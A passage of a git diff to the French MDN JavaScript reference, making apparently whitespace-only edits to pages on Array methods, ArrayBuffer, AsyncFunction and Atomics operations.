100644 --- a/files/fr/web/javascript/reference/global_objects/array/reverse/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/reverse/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/reverse --- {{JSRef}} -La méthode **`reverse()`** transpose les éléments d'un tableau : le premier élément devient le dernier et le dernier devient le premier et ainsi de suite. +La méthode **`reverse()`** transpose les éléments d'un tableau : le premier élément devient le dernier et le dernier devient le premier et ainsi de suite. {{EmbedInteractiveExample("pages/js/array-reverse.html")}} @@ -62,9 +62,9 @@ console.log(a); // {0: 3, 1: 2, 2 : 1, length: 3} | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/shift/index.md b/files/fr/web/javascript/reference/global_objects/array/shift/index.md index f34d0d73da..05d729f7a4 100644 --- a/files/fr/web/javascript/reference/global_objects/array/shift/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/shift/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Array/shift --- {{JSRef}} -La méthode **`shift()`** permet de retirer le **premier** élément d'un tableau et de renvoyer cet élément. Cette méthode modifie la longueur du tableau. +La méthode **`shift()`** permet de retirer le **premier** élément d'un tableau et de renvoyer cet élément. Cette méthode modifie la longueur du tableau. {{EmbedInteractiveExample("pages/js/array-shift.html")}} @@ -26,11 +26,11 @@ L'élément retiré du tableau ou {{jsxref("undefined")}} si le tableau est vide ## Description -La méthode `shift` retire l'élément situé à l'index zéro et décrémente l'index des éléments suivant avant de retourner l'élément supprimé. Si la propriété {{jsxref("Array.length", "length")}} vaut 0, {{jsxref("undefined")}} est retourné. +La méthode `shift` retire l'élément situé à l'index zéro et décrémente l'index des éléments suivant avant de retourner l'élément supprimé. Si la propriété {{jsxref("Array.length", "length")}} vaut 0, {{jsxref("undefined")}} est retourné. Cette méthode est générique et peut être {{jsxref("Function.call", "appelée","",1)}} ou {{jsxref("Function.apply", "appliquée","",1)}} sur des objets similaires à des tableaux. -Cette méthode n'est pas exploitable pour les objets dont la propriété `length` ne reflète pas la taille du contenu, ou pour lesquels la propriété `length` n'est pas définie. +Cette méthode n'est pas exploitable pour les objets dont la propriété `length` ne reflète pas la taille du contenu, ou pour lesquels la propriété `length` n'est pas définie. > **Note :** La méthode {{jsxref("Array.prototype.pop()")}} possède un comportement similaire mais retire le dernier élément du tableau (et non le premier). @@ -38,7 +38,7 @@ Cette méthode n'est pas exploitable pour les objets dont la propriété `lengt ### Supprimer un élément d'un tableau -Le code suivant affiche le tableau `mesPoissons` avant et après avoir enlevé le premier élément. Il affiche aussi l'élément supprimé : +Le code suivant affiche le tableau `mesPoissons` avant et après avoir enlevé le premier élément. Il affiche aussi l'élément supprimé : ```js var mesPoissons = ["ange", "clown", "mandarin", "chirurgien"]; diff --git a/files/fr/web/javascript/reference/global_objects/array/slice/index.md b/files/fr/web/javascript/reference/global_objects/array/slice/index.md index 35f56b4c80..a08aec5370 100644 --- a/files/fr/web/javascript/reference/global_objects/array/slice/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/slice/index.md @@ -39,7 +39,7 @@ Un nouveau tableau contenant les éléments extraits. ## Description -`slice()` ne modifie pas le tableau original, mais renvoie une nouvelle copie du tableau (_shallow copy_ — copie superficielle) dont les éléments sont des copies des éléments extraits du tableau original. Les éléments du tableau original sont copiés dans le nouveau tableau de la manière suivante : +`slice()` ne modifie pas le tableau original, mais renvoie une nouvelle copie du tableau (_shallow copy_ — copie superficielle) dont les éléments sont des copies des éléments extraits du tableau original. Les éléments du tableau original sont copiés dans le nouveau tableau de la manière suivante : - Pour les références à des objets (et non les objets eux-mêmes), `slice()` copie ces références dans le nouveau tableau. Tant l'original que le nouveau tableau font référence au même objet. Si un objet référencé est modifié, ces changements sont visibles tant pour le nouveau que pour l'ancien tableau. - Pour les chaines de caractères, les nombres et les booléens, `slice()` copie ces chaines de caractères, ces nombres et ces valeurs booléennes dans le nouveau tableau. Les modifications sur ces chaînes, nombres ou booléens dans l'un des tableaux n'affectent pas l'autre tableau (NB : lorsque l'on parle de chaine de caractères, de nombre ou de booléen ici, on parle exclusivement de leur _type primitif_, pas des _objets_ {{jsxref("String")}}, {{jsxref("Number")}} ou {{jsxref("Boolean")}} — voir par exemple [différences entre objet String et type primitif pour les chaines de caractères](/fr/docs/Web/JavaScript/Reference/Objets_globaux/String#Les_différences_entre_les_objets_String_et_le_type_primitif_pour_les_chaînes_de_caractères)). @@ -64,7 +64,7 @@ Dans l'exemple qui suit, `slice()` crée un nouveau tableau, `nouvelleVoiture`, ```js // Avec slice, crée nouvelleVoiture depuis maVoiture -var maHonda = { couleur : "rouge", roues : 4, moteur : { cylindres : 4, capacité : 2.2 } }; +var maHonda = { couleur : "rouge", roues : 4, moteur : { cylindres : 4, capacité : 2.2 } }; var maVoiture = [maHonda, 2, "excellente condition", "achetée en 1997"]; var nouvelleVoiture = maVoiture.slice(0, 2); @@ -84,7 +84,7 @@ console.log("maVoiture[0].couleur = " + maVoiture[0].couleur); console.log("nouvelleVoiture[0].couleur = " + nouvelleVoiture[0].couleur); ``` -Ce script affichera : +Ce script affichera : ```js maVoiture = [{couleur:"rouge", roues:4, moteur:{cylindres:4, capacité:2.2}}, 2, diff --git a/files/fr/web/javascript/reference/global_objects/array/some/index.md b/files/fr/web/javascript/reference/global_objects/array/some/index.md index 7f30c4151c..3b67598f04 100644 --- a/files/fr/web/javascript/reference/global_objects/array/some/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/some/index.md @@ -38,7 +38,7 @@ La méthode **`some()`** teste si au moins un élément du tableau passe le test - : Le tableau sur lequel on a appelé la méthode `some`. - `objetThis` {{optional_inline}} - - : Paramètre optionnel. Il correspond à la valeur à utiliser pour `this` lors de l'exécution de la fonction `callback`. + - : Paramètre optionnel. Il correspond à la valeur à utiliser pour `this` lors de l'exécution de la fonction `callback`. ### Valeur de retour @@ -46,15 +46,15 @@ La méthode **`some()`** teste si au moins un élément du tableau passe le test ## Description -La méthode `some()` exécute la fonction `callback` une seule fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle en trouve un pour lequel `callback` renvoie une valeur équivalente à `true` dans un contexte booléen. Si un tel élément est trouvé, `some()` renvoie immédiatement `true`. Dans le cas contraire, `some` renvoie `false`. `callback` n'est invoquée que pour les indices du tableau auxquels des valeurs sont assignées ; elle n'est pas invoquée pour les indices qui ont été supprimés ou auxquels aucune valeur n'a jamais été assignée. +La méthode `some()` exécute la fonction `callback` une seule fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle en trouve un pour lequel `callback` renvoie une valeur équivalente à `true` dans un contexte booléen. Si un tel élément est trouvé, `some()` renvoie immédiatement `true`. Dans le cas contraire, `some` renvoie `false`. `callback` n'est invoquée que pour les indices du tableau auxquels des valeurs sont assignées ; elle n'est pas invoquée pour les indices qui ont été supprimés ou auxquels aucune valeur n'a jamais été assignée. -La fonction `callback` est invoquée avec trois paramètres : la valeur de l'élément, l'indice de l'élément et l'objet `Array` parcouru. +La fonction `callback` est invoquée avec trois paramètres : la valeur de l'élément, l'indice de l'élément et l'objet `Array` parcouru. -Si un paramètre `objetThis` est fourni à `some()`, il sera utilisé comme valeur de `this` pour chaque invocation du `callback`. Sinon, la valeur {{jsxref("undefined")}} sera passée pour utilisation comme valeur `this`. La valeur `this` finalement utilisée par `callback` est déterminée en fonction [des règles habituelles pour déterminer `this` pour une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). +Si un paramètre `objetThis` est fourni à `some()`, il sera utilisé comme valeur de `this` pour chaque invocation du `callback`. Sinon, la valeur {{jsxref("undefined")}} sera passée pour utilisation comme valeur `this`. La valeur `this` finalement utilisée par `callback` est déterminée en fonction [des règles habituelles pour déterminer `this` pour une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). La méthode `some()` ne modifie pas le tableau sur lequel elle est appelée. -La liste des éléments traités par `some()` est définie avant la première invocation du `callback`. Les éléments qui sont ajoutés au tableau après le début de l'appel à `some` ne seront pas visités par `callback`. Si un élément existant non encore visité est modifié par `callback`, sa valeur passée à `callback` sera sa valeur au moment où `some` visite l'indice de cet élément ; les éléments supprimés ne seront pas visités. +La liste des éléments traités par `some()` est définie avant la première invocation du `callback`. Les éléments qui sont ajoutés au tableau après le début de l'appel à `some` ne seront pas visités par `callback`. Si un élément existant non encore visité est modifié par `callback`, sa valeur passée à `callback` sera sa valeur au moment où `some` visite l'indice de cet élément ; les éléments supprimés ne seront pas visités. ## Exemples diff --git a/files/fr/web/javascript/reference/global_objects/array/sort/index.md b/files/fr/web/javascript/reference/global_objects/array/sort/index.md index 75fe8a8ce3..357cee51b8 100644 --- a/files/fr/web/javascript/reference/global_objects/array/sort/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/sort/index.md @@ -38,14 +38,14 @@ Si le paramètre `fonctionComparaison` n'est pas fourni, les éléments qui ne v > **Note :** En UTF-16, les caractères Unicode situés après `\uFFFF` sont encodés avec deux unités de code _surrogates_ sur l'intervalle `\uD800`-`\uDFFF`. Pour comparer les chaînes de caractères entre elles, ce sont les unités de code séparées qui sont prises en compte. Ainsi, le caractère formé par la paire _surrogate_ `\uD655 \uDE55` sera trié avant le caractère `\uFF3A`. -Si le paramètre `fonctionComparaison` est fourni, les éléments du tableau (qui ne valent pas `undefined`) sont triés selon la valeur de retour de la fonction de comparaison. Si `a` et `b` sont deux éléments à comparer, alors : +Si le paramètre `fonctionComparaison` est fourni, les éléments du tableau (qui ne valent pas `undefined`) sont triés selon la valeur de retour de la fonction de comparaison. Si `a` et `b` sont deux éléments à comparer, alors : - Si `fonctionComparaison(a, b)` est inférieur à 0, on trie `a` avec un indice inférieur à `b` (`a` sera classé avant `b`) -- Si `fonctionComparaison(a, b)` renvoie 0, on laisse `a` et `b` inchangés l'un par rapport à l'autre, mais triés par rapport à tous les autres éléments. Note : la norme ECMAScript ne garantit pas ce comportement, par conséquent tous les navigateurs (par exemple les versions de Mozilla antérieures à 2003) ne respectent pas ceci. +- Si `fonctionComparaison(a, b)` renvoie 0, on laisse `a` et `b` inchangés l'un par rapport à l'autre, mais triés par rapport à tous les autres éléments. Note : la norme ECMAScript ne garantit pas ce comportement, par conséquent tous les navigateurs (par exemple les versions de Mozilla antérieures à 2003) ne respectent pas ceci. - Si `fonctionComparaison(a, b)` est supérieur à 0, on trie `b` avec un indice inférieur à `a`. - `fonctionComparaison(a, b)` doit toujours renvoyer le même résultat à partir de la même paire d'arguments. Si la fonction renvoie des résultats incohérents, alors l’ordre dans lequel sont triés les éléments n’est pas défini. -Une fonction de comparaison aura donc généralement la forme suivante : +Une fonction de comparaison aura donc généralement la forme suivante : ```js function compare(a, b) { @@ -103,7 +103,7 @@ items.sort(function (a, b) { ### Différences d'implémentation -Certaines implémentations de JavaScript utilisent un tri stable : l'ordre partiel de `a` et `b` ne change pas si `a` et `b` sont égaux. Si l'indice de `a` était inférieur à celui de `b` avant le tri, il le sera toujours après, quels que soient les mouvements de `a` et `b` dus au tri. +Certaines implémentations de JavaScript utilisent un tri stable : l'ordre partiel de `a` et `b` ne change pas si `a` et `b` sont égaux. Si l'indice de `a` était inférieur à celui de `b` avant le tri, il le sera toujours après, quels que soient les mouvements de `a` et `b` dus au tri. Le tri est stable dans [SpiderMonkey](/fr/docs/SpiderMonkey) et tous les navigateurs basés sur Mozilla à partir de [Gecko](/fr/docs/Gecko) 1.9 (voir le {{ Bug(224128) }}). @@ -111,7 +111,7 @@ Le comportement de la méthode `sort()` a changé entre JavaScript 1.1 et JavaSc En JavaScript 1.1, sur certaines plateformes, la méthode `sort` ne fonctionnait pas. Le tri fonctionne sur toutes les plateformes à partir de JavaScript 1.2. -En JavaScript 1.2, cette méthode ne convertit plus les éléments non définis (`undefined`) en `null` ; elle les place en fin de tableau. Par exemple, supposons que vous ayez ce script : +En JavaScript 1.2, cette méthode ne convertit plus les éléments non définis (`undefined`) en `null` ; elle les place en fin de tableau. Par exemple, supposons que vous ayez ce script : ```js var a = []; @@ -132,12 +132,12 @@ console.log("\n"); writeArray(a); ``` -En JavaScript 1.1, cette fonction affichait : +En JavaScript 1.1, cette fonction affichait : araignée, null, null, null, null, zèbre araignée, null, null, null, null, zèbre -En JavaScript 1.2, elle affichera : +En JavaScript 1.2, elle affichera : araignée, undefined, undefined, undefined, undefined, zèbre araignée, zèbre, undefined, undefined, undefined, undefined @@ -158,38 +158,38 @@ function compareNombres(a, b) { return a - b; } -console.log("Chaînes : " + stringArray.join() +"\n"); -console.log("Triées : " + stringArray.sort() +"\n\n"); +console.log("Chaînes : " + stringArray.join() +"\n"); +console.log("Triées : " + stringArray.sort() +"\n\n"); -console.log("Nombres : " + numberArray.join() +"\n"); -console.log("Triés sans fonction de comparaison : " + numberArray.sort() +"\n"); -console.log("Triés avec compareNombres : " + numberArray.sort(compareNombres) +"\n\n"); +console.log("Nombres : " + numberArray.join() +"\n"); +console.log("Triés sans fonction de comparaison : " + numberArray.sort() +"\n"); +console.log("Triés avec compareNombres : " + numberArray.sort(compareNombres) +"\n\n"); -console.log("Chaînes numériques : " + numericStringArray.join() +"\n"); -console.log("Triées sans fonction de comparaison : " + numericStringArray.sort() +"\n"); -console.log("Triées avec compareNombres : " + numericStringArray.sort(compareNombres) +"\n\n"); +console.log("Chaînes numériques : " + numericStringArray.join() +"\n"); +console.log("Triées sans fonction de comparaison : " + numericStringArray.sort() +"\n"); +console.log("Triées avec compareNombres : " + numericStringArray.sort(compareNombres) +"\n\n"); -console.log("Nombres et chaînes numériques : " + mixedNumericArray.join() +"\n"); -console.log("Triés sans fonction de comparaison : " + mixedNumericArray.sort() +"\n"); -console.log("Triés avec compareNombres : " + mixedNumericArray.sort(compareNombres) +"\n\n"); +console.log("Nombres et chaînes numériques : " + mixedNumericArray.join() +"\n"); +console.log("Triés sans fonction de comparaison : " + mixedNumericArray.sort() +"\n"); +console.log("Triés avec compareNombres : " + mixedNumericArray.sort(compareNombres) +"\n\n"); ``` Cet exemple produit la sortie suivante. Comme on peut le voir, lorsqu'on utilise la fonction de comparaison, les nombres sont triés correctement qu'ils soient des nombres ou des chaînes numériques. - Chaînes : Bosse,Bleue,Béluga - Triées : Bleue,Bosse,Béluga + Chaînes : Bosse,Bleue,Béluga + Triées : Bleue,Bosse,Béluga - Nombres : 40,1,5,200 - Triés sans fonction de comparaison : 1,200,40,5 - Triés avec compareNombres : 1,5,40,200 + Nombres : 40,1,5,200 + Triés sans fonction de comparaison : 1,200,40,5 + Triés avec compareNombres : 1,5,40,200 - Chaînes numériques : 80,9,700 - Triées sans fonction de comparaison : 700,80,9 - Triées avec compareNombres : 9,80,700 + Chaînes numériques : 80,9,700 + Triées sans fonction de comparaison : 700,80,9 + Triées avec compareNombres : 9,80,700 - Nombres et chaînes numériques : 80,9,700,40,1,5,200 - Triés sans fonction de comparaison : 1,200,40,5,700,80,9 - Triés avec compareNombres : 1,5,9,40,80,200,700 + Nombres et chaînes numériques : 80,9,700,40,1,5,200 + Triés sans fonction de comparaison : 1,200,40,5,700,80,9 + Triés avec compareNombres : 1,5,9,40,80,200,700 ### Trier des caractères non-ASCII diff --git a/files/fr/web/javascript/reference/global_objects/array/splice/index.md b/files/fr/web/javascript/reference/global_objects/array/splice/index.md index 8ce0f4aaf2..febbe8bc53 100644 --- a/files/fr/web/javascript/reference/global_objects/array/splice/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/splice/index.md @@ -23,7 +23,7 @@ La méthode **`splice()`** modifie le contenu d'un tableau en retirant des élé ### Paramètres - `début` - - : L'indice à partir duquel commencer à changer le tableau (l'indice du premier élement étant `0`). Si sa valeur est supérieure à la longueur du tableau `array.length`, `début` est ramené à la longueur du tableau `array.length`. S'il est négatif, le changement commencera d'autant d'éléments à partir de la fin du tableau, c'est à dire à partir de l'index `array.length + début`. Si `array.length + début` est inférieur à `0`, le changement commencera à l'index `0`. + - : L'indice à partir duquel commencer à changer le tableau (l'indice du premier élement étant `0`). Si sa valeur est supérieure à la longueur du tableau `array.length`, `début` est ramené à la longueur du tableau `array.length`. S'il est négatif, le changement commencera d'autant d'éléments à partir de la fin du tableau, c'est à dire à partir de l'index `array.length + début`. Si `array.length + début` est inférieur à `0`, le changement commencera à l'index `0`. - `nbASupprimer` - : Un entier indiquant le nombre d'anciens éléments à remplacer. Si ce paramètre est absent ou si sa valeur est supérieure ou égale à `array.length - début`, alors les éléments entre `début` et la fin du tableau seront supprimés. Si `nbASupprimer` vaut 0, aucun élément ne sera supprimé. Dans ce cas, il est nécessaire de spécifier au moins un nouvel élément. diff --git a/files/fr/web/javascript/reference/global_objects/array/tosource/index.md b/files/fr/web/javascript/reference/global_objects/array/tosource/index.md index def1a9901d..3ec8dc4deb 100644 --- a/files/fr/web/javascript/reference/global_objects/array/tosource/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/tosource/index.md @@ -25,9 +25,9 @@ Une chaîne de caractères qui représente le code source du tableau. ## Description -La méthode `toSource()` renvoie les valeurs suivantes : +La méthode `toSource()` renvoie les valeurs suivantes : -- Pour l'objet {{jsxref("Array")}} natif, `toSource()` renvoie la chaîne de caractères suivante indiquant que le code source n'est pas disponible : +- Pour l'objet {{jsxref("Array")}} natif, `toSource()` renvoie la chaîne de caractères suivante indiquant que le code source n'est pas disponible : ```js function Array() { @@ -43,7 +43,7 @@ Cette méthode est habituellement appelée en interne par le moteur JavaScript e ### Examiner le code source d'un tableau -Pour examiner le code source d'un tableau : +Pour examiner le code source d'un tableau : ```js var alpha = new Array("a", "b", "c"); diff --git a/files/fr/web/javascript/reference/global_objects/array/tostring/index.md b/files/fr/web/javascript/reference/global_objects/array/tostring/index.md index a14b6b7b8d..c35f7ac05b 100644 --- a/files/fr/web/javascript/reference/global_objects/array/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/tostring/index.md @@ -39,9 +39,9 @@ JavaScript appelle la méthode `toString()` automatiquement lorsqu'un tableau do | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.4.4.2', 'Array.prototype.toString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-array.prototype.tostring', 'Array.prototype.toString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.tostring', 'Array.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/values/index.md b/files/fr/web/javascript/reference/global_objects/array/values/index.md index d7f591029d..803d26fe03 100644 --- a/files/fr/web/javascript/reference/global_objects/array/values/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/values/index.md @@ -68,7 +68,7 @@ console.log(eArr.next().value); // p | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.md b/files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.md index 7a9b7c3e7e..8d92fd6eb9 100644 --- a/files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.md +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/@@species/index.md @@ -45,7 +45,7 @@ class MonArrayBuffer extends ArrayBuffer { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-arraybuffer-@@species', 'get ArrayBuffer [ @@species ]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.md b/files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.md index 5bbc57d6a2..f54c6596ef 100644 --- a/files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.md +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/bytelength/index.md @@ -37,7 +37,7 @@ buffer.byteLength; // 8 | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans ECMAScript 2015. | | {{SpecName('ES2015', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-arraybuffer.prototype.bytelength', 'ArrayBuffer.prototype.byteLength')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.md b/files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.md index d5224cac4c..ccf8cd7fe4 100644 --- a/files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.md +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/isview/index.md @@ -54,7 +54,7 @@ ArrayBuffer.isView(dv); // true | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------------------------------ | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée par ECMAScript 2015 | | {{SpecName('ES2015', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}} | {{Spec2('ES2015')}} | Définition initiale dans un standard ECMA. | -| {{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.md b/files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.md index 9eeed19b9c..63c3b3de65 100644 --- a/files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.md +++ b/files/fr/web/javascript/reference/global_objects/arraybuffer/slice/index.md @@ -33,7 +33,7 @@ Un nouvel objet `ArrayBuffer`. ## Description -La méthode `slice` copie les octets contenus jusqu'au (au sens exclusif) paramètre `fin`. Si le paramètre `début` ou `fin` est négatif, il fera référence à l'indice à partir de la fin du tableau et non pas à l'indice à partir du début du tableau. +La méthode `slice` copie les octets contenus jusqu'au (au sens exclusif) paramètre `fin`. Si le paramètre `début` ou `fin` est négatif, il fera référence à l'indice à partir de la fin du tableau et non pas à l'indice à partir du début du tableau. ## Exemples @@ -50,7 +50,7 @@ var buf2 = buf1.slice(0) | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Remplacée dans EMCAScript 6. | | {{SpecName('ES6', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}} | {{Spec2('ES6')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/asyncfunction/index.md b/files/fr/web/javascript/reference/global_objects/asyncfunction/index.md index 1c45132d22..8cf9fe7f46 100644 --- a/files/fr/web/javascript/reference/global_objects/asyncfunction/index.md +++ b/files/fr/web/javascript/reference/global_objects/asyncfunction/index.md @@ -36,7 +36,7 @@ Les objets des {{jsxref("Instructions/async_function", "fonctions asynchrones"," Tous les arguments passés à la fonction sont traités comme les noms des identifiants des paramètres de la fonction qui sera créée, dans l'ordre dans lequel ils sont passés. -> **Note :** Les fonctions asynchrones créées avec le constructeur `AsyncFunction` ne créent pas de fermetutres dans leurs contextes de création. Elles sont toujours créées dans la portée globale. Lorsqu'on les exécute, ellee ne pourront accéder qu'à leurs variables locales et aux variables globales, pas à celles qui appartiennent à la portée dans laquelle `AsyncFunction` a été appelé. On aurait donc un comportement différent si on appelait {{jsxref("Objets_globaux/eval", "eval")}} avec le code de l'expression de la fonction asynchrone. +> **Note :** Les fonctions asynchrones créées avec le constructeur `AsyncFunction` ne créent pas de fermetutres dans leurs contextes de création. Elles sont toujours créées dans la portée globale. Lorsqu'on les exécute, ellee ne pourront accéder qu'à leurs variables locales et aux variables globales, pas à celles qui appartiennent à la portée dans laquelle `AsyncFunction` a été appelé. On aurait donc un comportement différent si on appelait {{jsxref("Objets_globaux/eval", "eval")}} avec le code de l'expression de la fonction asynchrone. Si on appelle `AsyncFunction` comme une fonction (c'est-à-dire sans `new`), cela aura le même effet que s'il est appelé comme un constructeur. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/add/index.md b/files/fr/web/javascript/reference/global_objects/atomics/add/index.md index cc64ee49f3..32e5d93796 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/add/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/add/index.md @@ -35,7 +35,7 @@ L'ancienne valeur qui était contenue à (`typedArray[index]`). ### Exceptions levées -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/and/index.md b/files/fr/web/javascript/reference/global_objects/atomics/and/index.md index 8341952afd..4a4692676f 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/and/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/and/index.md @@ -35,7 +35,7 @@ L'ancienne valeur qui était contenue à (`typedArray[index]`). ### Exceptions levée -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.md b/files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.md index 566e1b5351..3a9815d4a0 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/compareexchange/index.md @@ -37,7 +37,7 @@ L'ancienne valeur présente à `typedArray[index]`. ### Exceptions levées -- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. +- Cette méthode lève {{jsxref("TypeError")}} si le type de `typedArray` n'est pas un des types entiers autorisés. - Cette méthode lève {{jsxref("TypeError")}} si `typedArray` n'est pas tableau typé partagé. - Cette méthode lève {{jsxref("RangeError")}} si `index` est en dehors des limites de `typedArray`. diff --git a/files/fr/web/javascript/reference/global_objects/atomics/exchange/index.md b/files/fr/web/javascript/reference/global_objects/atomics/exchange/index.md index 17471c7fb0..fbcd093a7b 100644 --- a/files/fr/web/javascript/reference/global_objects/atomics/exchange/index.md +++ b/files/fr/web/javascript/reference/global_objects/atomics/exchange/index.md @@ -35,7 +35,7 @@ L'ancienne valeur qui était contenue à (`typedArray[index]`). ### Exceptions levées -- Cette méthode lève {{jsxref("TypeError")}} 